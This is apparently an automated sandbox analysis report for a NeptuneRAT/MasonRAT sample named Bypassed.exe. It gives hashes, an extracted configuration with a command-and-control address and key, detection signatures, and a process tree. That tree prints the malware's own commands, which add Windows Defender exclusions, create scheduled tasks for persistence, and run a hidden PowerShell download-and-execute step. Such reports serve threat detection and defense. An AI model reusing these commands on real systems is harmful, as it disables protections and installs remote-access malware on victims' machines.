Analysis
- geolocation tags
cacanadananorth-americatoronto - max time kernel
31s - max time network
42s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-it - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-itlocale:it-itos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 01:09
Static task
static1
Behavioral task
behavioral1
Sample
Bypassed.exe
Resource
win10v2004-20260513-it
Behavioral task
behavioral2
Sample
Bypassed.exe
Resource
win10ltsc2021-20260513-it
Behavioral task
behavioral3
Sample
Bypassed.exe
Resource
win11-20260513-it
Behavioral task
behavioral4
Sample
Bypassed.exe
Resource
win11ltsc2024-20260709-it
Errors
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bh65navfra
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
- MD5 895088641b452ca046da55b8901462d7
- SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
- SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
- SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
- TLSH T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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neptunerat
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82.22.62.124:443
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filename
MasonUSB.exe
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group
MasonGroup
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key
eacBkjvaIIlrNRCZ
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rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral4/memory/1584-43-0x0000000002F70000-0x0000000002FB4000-memory.dmp family_neptunerat behavioral4/memory/1584-330-0x000000001C240000-0x000000001C252000-memory.dmp family_neptunerat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4860 powershell.exe 5332 powershell.exe 2740 powershell.exe - Executes dropped EXE 5 IoCs
pid Process 2992 d8ea20c7-92e1-47a0-8274-79157c8c2667.exe 3132 svhost.exe 1584 svhost.exe 5244 rkeeq00i.5ot.exe 708 svhost.exe - Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\svhost svchost.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe - Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\svhost.exe d8ea20c7-92e1-47a0-8274-79157c8c2667.exe File created C:\Windows\svhost.exe d8ea20c7-92e1-47a0-8274-79157c8c2667.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4580 cmd.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785892378" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 03 Aug 2026 13:52:57 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={CA9429C2-6916-4B03-AC98-93B0F8ECFE4A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2880 SCHTASKS.exe 3136 SCHTASKS.exe 4100 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4860 powershell.exe 4860 powershell.exe 5332 powershell.exe 5332 powershell.exe 5332 powershell.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 2740 powershell.exe 2740 powershell.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 2740 powershell.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 2740 powershell.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 2740 powershell.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 5244 rkeeq00i.5ot.exe 2740 powershell.exe 5244 rkeeq00i.5ot.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3228 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2992 d8ea20c7-92e1-47a0-8274-79157c8c2667.exe Token: SeDebugPrivilege 4860 powershell.exe Token: SeIncreaseQuotaPrivilege 4860 powershell.exe Token: SeSecurityPrivilege 4860 powershell.exe Token: SeTakeOwnershipPrivilege 4860 powershell.exe Token: SeLoadDriverPrivilege 4860 powershell.exe Token: SeSystemProfilePrivilege 4860 powershell.exe Token: SeSystemtimePrivilege 4860 powershell.exe Token: SeProfSingleProcessPrivilege 4860 powershell.exe Token: SeIncBasePriorityPrivilege 4860 powershell.exe Token: SeCreatePagefilePrivilege 4860 powershell.exe Token: SeBackupPrivilege 4860 powershell.exe Token: SeRestorePrivilege 4860 powershell.exe Token: SeShutdownPrivilege 4860 powershell.exe Token: SeDebugPrivilege 4860 powershell.exe Token: SeSystemEnvironmentPrivilege 4860 powershell.exe Token: SeRemoteShutdownPrivilege 4860 powershell.exe Token: SeUndockPrivilege 4860 powershell.exe Token: SeManageVolumePrivilege 4860 powershell.exe Token: 33 4860 powershell.exe Token: 34 4860 powershell.exe Token: 35 4860 powershell.exe Token: 36 4860 powershell.exe Token: SeDebugPrivilege 5332 powershell.exe Token: SeIncreaseQuotaPrivilege 5332 powershell.exe Token: SeSecurityPrivilege 5332 powershell.exe Token: SeTakeOwnershipPrivilege 5332 powershell.exe Token: SeLoadDriverPrivilege 5332 powershell.exe Token: SeSystemProfilePrivilege 5332 powershell.exe Token: SeSystemtimePrivilege 5332 powershell.exe Token: SeProfSingleProcessPrivilege 5332 powershell.exe Token: SeIncBasePriorityPrivilege 5332 powershell.exe Token: SeCreatePagefilePrivilege 5332 powershell.exe Token: SeBackupPrivilege 5332 powershell.exe Token: SeRestorePrivilege 5332 powershell.exe Token: SeShutdownPrivilege 5332 powershell.exe Token: SeDebugPrivilege 5332 powershell.exe Token: SeSystemEnvironmentPrivilege 5332 powershell.exe Token: SeRemoteShutdownPrivilege 5332 powershell.exe Token: SeUndockPrivilege 5332 powershell.exe Token: SeManageVolumePrivilege 5332 powershell.exe Token: 33 5332 powershell.exe Token: 34 5332 powershell.exe Token: 35 5332 powershell.exe Token: 36 5332 powershell.exe Token: SeDebugPrivilege 3132 svhost.exe Token: SeDebugPrivilege 1584 svhost.exe Token: SeDebugPrivilege 1584 svhost.exe Token: SeDebugPrivilege 5244 rkeeq00i.5ot.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeDebugPrivilege 2740 powershell.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe Token: SeShutdownPrivilege 3228 explorer.exe Token: SeCreatePagefilePrivilege 3228 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3216 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4452 wrote to memory of 2992 4452 Bypassed.exe 88 PID 2992 wrote to memory of 4860 2992 d8ea20c7-92e1-47a0-8274-79157c8c2667.exe 89 PID 2992 wrote to memory of 5332 2992 d8ea20c7-92e1-47a0-8274-79157c8c2667.exe 92 PID 1584 wrote to memory of 5244 1584 svhost.exe 97 PID 1584 wrote to memory of 2880 1584 svhost.exe 98 PID 5244 wrote to memory of 748 5244 rkeeq00i.5ot.exe 5 PID 5244 wrote to memory of 960 5244 rkeeq00i.5ot.exe 9 PID 5244 wrote to memory of 968 5244 rkeeq00i.5ot.exe 10 PID 5244 wrote to memory of 1012 5244 rkeeq00i.5ot.exe 11 PID 5244 wrote to memory of 1032 5244 rkeeq00i.5ot.exe 13 PID 5244 wrote to memory of 1084 5244 rkeeq00i.5ot.exe 14 PID 5244 wrote to memory of 1204 5244 rkeeq00i.5ot.exe 15 PID 5244 wrote to memory of 1316 5244 rkeeq00i.5ot.exe 16 PID 5244 wrote to memory of 1356 5244 rkeeq00i.5ot.exe 18 PID 5244 wrote to memory of 1380 5244 rkeeq00i.5ot.exe 19 PID 5244 wrote to memory of 1608 5244 rkeeq00i.5ot.exe 21 PID 5244 wrote to memory of 1624 5244 rkeeq00i.5ot.exe 22 PID 5244 wrote to memory of 1660 5244 rkeeq00i.5ot.exe 23 PID 5244 wrote to memory of 1720 5244 rkeeq00i.5ot.exe 24 PID 5244 wrote to memory of 1776 5244 rkeeq00i.5ot.exe 25 PID 5244 wrote to memory of 1788 5244 rkeeq00i.5ot.exe 26 PID 5244 wrote to memory of 1992 5244 rkeeq00i.5ot.exe 27 PID 5244 wrote to memory of 1588 5244 rkeeq00i.5ot.exe 28 PID 5244 wrote to memory of 2060 5244 rkeeq00i.5ot.exe 29 PID 5244 wrote to memory of 2120 5244 rkeeq00i.5ot.exe 30 PID 5244 wrote to memory of 2132 5244 rkeeq00i.5ot.exe 31 PID 5244 wrote to memory of 2284 5244 rkeeq00i.5ot.exe 32 PID 5244 wrote to memory of 2296 5244 rkeeq00i.5ot.exe 33 PID 5244 wrote to memory of 2392 5244 rkeeq00i.5ot.exe 34 PID 5244 wrote to memory of 2548 5244 rkeeq00i.5ot.exe 35 PID 5244 wrote to memory of 2576 5244 rkeeq00i.5ot.exe 36 PID 5244 wrote to memory of 2584 5244 rkeeq00i.5ot.exe 37 PID 5244 wrote to memory of 2612 5244 rkeeq00i.5ot.exe 38 PID 5244 wrote to memory of 2708 5244 rkeeq00i.5ot.exe 39 PID 5244 wrote to memory of 2908 5244 rkeeq00i.5ot.exe 40 PID 5244 wrote to memory of 2932 5244 rkeeq00i.5ot.exe 41 PID 5244 wrote to memory of 2960 5244 rkeeq00i.5ot.exe 42 PID 5244 wrote to memory of 720 5244 rkeeq00i.5ot.exe 43 PID 5244 wrote to memory of 2180 5244 rkeeq00i.5ot.exe 44 PID 5244 wrote to memory of 3140 5244 rkeeq00i.5ot.exe 46 PID 5244 wrote to memory of 3160 5244 rkeeq00i.5ot.exe 47 PID 5244 wrote to memory of 3264 5244 rkeeq00i.5ot.exe 48 PID 5244 wrote to memory of 3536 5244 rkeeq00i.5ot.exe 50 PID 5244 wrote to memory of 3640 5244 rkeeq00i.5ot.exe 51 PID 5244 wrote to memory of 3648 5244 rkeeq00i.5ot.exe 52 PID 5244 wrote to memory of 3668 5244 rkeeq00i.5ot.exe 53 PID 5244 wrote to memory of 3752 5244 rkeeq00i.5ot.exe 54 PID 5244 wrote to memory of 3764 5244 rkeeq00i.5ot.exe 55 PID 5244 wrote to memory of 1328 5244 rkeeq00i.5ot.exe 56 PID 5244 wrote to memory of 824 5244 rkeeq00i.5ot.exe 57 PID 5244 wrote to memory of 4424 5244 rkeeq00i.5ot.exe 58 PID 5244 wrote to memory of 4472 5244 rkeeq00i.5ot.exe 59 PID 5244 wrote to memory of 4540 5244 rkeeq00i.5ot.exe 60 PID 5244 wrote to memory of 4640 5244 rkeeq00i.5ot.exe 61 PID 5244 wrote to memory of 4904 5244 rkeeq00i.5ot.exe 62 PID 5244 wrote to memory of 4136 5244 rkeeq00i.5ot.exe 63 PID 5244 wrote to memory of 5196 5244 rkeeq00i.5ot.exe 64 PID 5244 wrote to memory of 5308 5244 rkeeq00i.5ot.exe 65 PID 5244 wrote to memory of 5516 5244 rkeeq00i.5ot.exe 68 PID 5244 wrote to memory of 2820 5244 rkeeq00i.5ot.exe 70 PID 5244 wrote to memory of 1392 5244 rkeeq00i.5ot.exe 71 PID 5244 wrote to memory of 4920 5244 rkeeq00i.5ot.exe 73 PID 5244 wrote to memory of 5940 5244 rkeeq00i.5ot.exe 75 PID 5244 wrote to memory of 4504 5244 rkeeq00i.5ot.exe 77 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:748
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:968
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1084
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:960
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d0d2a14c-381e-4496-af2e-6007d2fbe861 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-b74e54a3-72a3-4b84-b00a-6c126f8f6397 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-19b8a196-ae44-4c15-a749-56ac13e9b240 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-721bfc01-8d6f-4634-8827-65205e418c64 -LifetimeId:e0f37adb-d84f-4ed0-bc56-226f3b935b9c -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:1012
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:1204
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1356
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1624 -
C:\Windows\svhost.exe"C:\Windows\svhost.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1584 -
C:\Users\Admin\AppData\Local\Temp\rkeeq00i.5ot.exe"C:\Users\Admin\AppData\Local\Temp\rkeeq00i.5ot.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5244
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2880
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3136 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
PID:3216
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4100 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:556
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵PID:5740
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp34EC.tmp.bat""3⤵
- Executes a command shell one-liner
PID:4580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1788
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1992
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4576
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3228 -
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Users\Admin\AppData\Local\Temp\d8ea20c7-92e1-47a0-8274-79157c8c2667.exe"C:\Users\Admin\AppData\Local\Temp\d8ea20c7-92e1-47a0-8274-79157c8c2667.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5332
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2060
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2296
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2392
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2548
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2576
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000268;000000000000026C;2⤵PID:4136
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2584
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2612
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2908
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:720
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3264
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3668
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:824
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4424
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4640
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4904
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5196
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:2820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:1392
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4920
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:5940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4504
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:8
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:1828
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2736
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C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3132
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4212
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2560
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C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
PID:708
